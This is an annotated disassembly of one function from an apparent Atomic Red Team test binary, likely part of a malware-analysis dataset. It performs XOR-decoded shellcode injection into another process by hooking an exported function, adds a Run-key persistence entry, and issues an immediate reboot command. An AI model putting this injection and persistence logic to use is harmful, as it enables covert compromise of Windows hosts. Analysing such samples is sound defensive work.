Function at 0x140001533
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Persist via run registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov eax, 0x31560
call fcn.140002f80
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x314f0], ecx
mov qword [rbp + 0x314f8], rdx
call dbg.__main
cmp dword [rbp + 0x314f0], 3
jne 0x140001b86
lea rax, str.notepad_Test.txt
mov rcx, rax
call sym.system
mov dword [rbp + 0x314dc], 0
mov dword [rbp + 0x314d8], 0
jmp 0x1400015f6
mov eax, dword [0x14003a4e4]
lea edx, [rax - 1]
mov eax, dword [rbp + 0x314dc]
cmp edx, eax
jne 0x1400015aa
mov dword [rbp + 0x314dc], 0
mov eax, dword [rbp + 0x314d8]
cdqe
lea rdx, str.x8tk3
movzx eax, byte [rax + rdx]
mov ecx, eax
mov eax, dword [rbp + 0x314dc]
cdqe
lea rdx, str.5b59fb6545df44166c963f56d5a1a44c495e4bd6add0eb8f1f4c38ee09308904
movzx eax, byte [rax + rdx]
xor eax, ecx
mov ecx, eax
mov eax, dword [rbp + 0x314d8]
cdqe
lea rdx, str.x8tk3
mov byte [rax + rdx], cl
add dword [rbp + 0x314dc], 1
add dword [rbp + 0x314d8], 1
mov eax, dword [rbp + 0x314d8]
cmp eax, 0x3145c
jbe 0x14000158d
mov rax, qword [rbp + 0x314f8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x31498], rax
mov rax, qword [rbp + 0x314f8]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x31490], rax
mov dword [rbp + 0x3148c], 0
mov dword [rbp + 0x3145c], 0
mov rax, qword [rbp + 0x31498]
mov rdx, rax
lea rax, str._n___Loading:__s_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x314f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x314d0], rax
cmp qword [rbp + 0x314d0], 0
jne 0x1400016a0
mov rax, qword [rbp + 0x314f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x314d0], rax
cmp qword [rbp + 0x314d0], 0
jne 0x1400016cd
mov rax, qword [rbp + 0x31498]
mov rdx, rax
lea rax, str._ERROR__Could_not_load__s_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rax, qword [rbp + 0x31498]
mov rdx, rax
lea rax, str._____Successfully_loaded__s_n_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str.___Getting_the_address_of__s_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x31490]
mov rax, qword [rbp + 0x314d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x31480], rax
cmp qword [rbp + 0x31480], 0
jne 0x140001757
mov rdx, qword [rbp + 0x31498]
mov rax, qword [rbp + 0x31490]
mov r8, rdx
mov rdx, rax
lea rax, str.___ERROR__Could_not_find__s_in__s_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rdx, qword [rbp + 0x31480]
mov rax, qword [rbp + 0x31490]
mov r8, rdx
mov rdx, rax
lea rax, str.______s_Address:_0x_p_n_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x31460]
mov edx, eax
lea rax, str.___Trying_to_open_process_with_pid:__d_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x31460]
mov rdx, rax
lea rax, [0x14003b22a]
mov rcx, rax
call sym.getProcHandlebyName
mov qword [rbp + 0x31478], rax
cmp qword [rbp + 0x31478], 0
jne 0x1400017dc
mov eax, dword [rbp + 0x31460]
mov edx, eax
lea rax, str.___ERROR__Could_not_open_process_with_pid__d_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov eax, dword [rbp + 0x31460]
mov edx, eax
lea rax, str._____Successfully_opened_process_with_pid__d_n_n
mov rcx, rax
call sym.printf
lea rax, str.___Trying_to_find_memory_holes_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x31480]
mov rax, qword [rbp + 0x31478]
mov r8d, 0x31496
mov rcx, rax
call sym.FindMemoryHole
mov qword [rbp + 0x31470], rax
cmp qword [rbp + 0x31470], 0
jne 0x140001848
lea rax, str.___Error__Could_not_find_memory_hole_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str.___Reading_bytes_from_the_memory_address_of__s_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x31480]
mov rax, qword [rax]
mov qword [rbp + 0x31468], rax
mov rdx, qword [rbp + 0x31468]
mov rax, qword [rbp + 0x31480]
mov r8, rdx
mov rdx, rax
lea rax, str._____Address__p_has_value___lld_n_n
mov rcx, rax
call sym.printf
lea rax, str.___Generating_hook
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x31468]
mov rcx, rax
call sym.GenerateHook
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str.___Changing_the_memory_protection_of__s_to_RWX_n
mov rcx, rax
call sym.printf
mov dword [rbp + 0x31458], 0
mov rdx, qword [rbp + 0x31480]
mov rax, qword [rbp + 0x31478]
lea rcx, [rbp + 0x31458]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x140001925
lea rax, str.___Error__Could_not_change_the_memory_protection_settings_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str._____Successfully_changed_the_memory_protection_settings_of__s_to_RWX_n
mov rcx, rax
call sym.printf
lea rax, str.___Trying_to_inject_the_call_assembly_for_the_exported_function_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x31470]
mov ecx, eax
mov rax, qword [rbp + 0x31480]
mov edx, eax
mov eax, ecx
sub eax, edx
sub eax, 5
mov dword [rbp + 0x31464], eax
mov dword [rbp + 0x31453], 0xe8
mov byte [rbp + 0x31457], 0
lea rax, [rbp + 0x31453]
add rax, 1
mov edx, dword [rbp + 0x31464]
mov dword [rax], edx
lea rdx, [rbp + 0x31453]
mov rax, qword [rbp + 0x31478]
mov qword [rsp + 0x20], 0
mov r9d, 0x40
mov r8d, 5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
lea r8, [rbp + 0x31453]
mov rdx, qword [rbp + 0x31480]
mov rax, qword [rbp + 0x31478]
lea rcx, [rbp + 0x3145c]
mov qword [rsp + 0x20], rcx
mov r9d, 5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001a19
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str.___Error__Could_redirect__s_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rax, qword [rbp + 0x31490]
mov rdx, rax
lea rax, str._____Successfully_modified__s_function_to_call_the_custom_shellcode_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], 0x3145d
lea r9, str.x8tk3
mov r8d, 0x39
lea rdx, [0x14003a460]
mov rcx, rax
call sym.ConcatArrays
mov rdx, qword [rbp + 0x31470]
mov rax, qword [rbp + 0x31478]
lea rcx, [rbp + 0x31458]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov r8d, 0x31496
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x140001ab4
mov rax, qword [rbp + 0x31470]
mov rdx, rax
lea rax, str._Error__Modifying_the_memory_protection_of_the_memory_hole:__p_before_write_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rdx, qword [rbp + 0x31470]
lea r8, [rbp - 0x50]
mov rax, qword [rbp + 0x31478]
lea rcx, [rbp + 0x3145c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x31496
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001b0b
mov rax, qword [rbp + 0x31470]
mov rdx, rax
lea rax, str._Error__Writing_to_the_memory_hole_address:__p_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
mov rdx, qword [rbp + 0x31470]
mov rax, qword [rbp + 0x31478]
lea rcx, [rbp + 0x31458]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8d, 0x31496
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x140001b64
mov rax, qword [rbp + 0x31470]
mov rdx, rax
lea rax, str._Error__Modifying_the_memory_protection_of_the_memory_hole:__p_after_write_n
mov rcx, rax
call sym.printf
mov eax, 0xffffff9d
jmp 0x140001cd3
lea rax, str._n___Injection_successful__wait_for_your_trigger_function__n
mov rcx, rax
call sym.printf
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001cce
lea rax, [0x14003b5dc]
mov rdx, rax
lea rax, str.Test.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x314c8], rax
mov rax, qword [rbp + 0x314c8]
mov r9, rax
mov r8d, 0x14
mov edx, 1
lea rax, str.Windows_Error_Report
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x314c8]
mov rcx, rax
call sym.fclose
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, str.REG_ADD__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___V__Atomic_Red_Team___t_REG_SZ__F__D__
mov qword [rbp + 0x314c0], rax
lea rax, str._kernelbase.dll_CreateEventW_
mov qword [rbp + 0x314b8], rax
mov rax, qword [rbp + 0x314c0]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x314b0], rax
mov rax, qword [rbp + 0x314b8]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x314a8], rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x314a0], rax
mov rax, qword [rbp + 0x314a0]
lea r8, [rax + 1]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x314b0]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x50]
mov rdx, rax
call sym.memmove
mov rcx, qword [rbp + 0x314b0]
mov rdx, qword [rbp + 0x314c0]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rdx, qword [rbp + 0x314b8]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.system
lea rax, str.C:WINDOWSSystem32_shutdown__r__t_0
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x31560
pop rbp
ret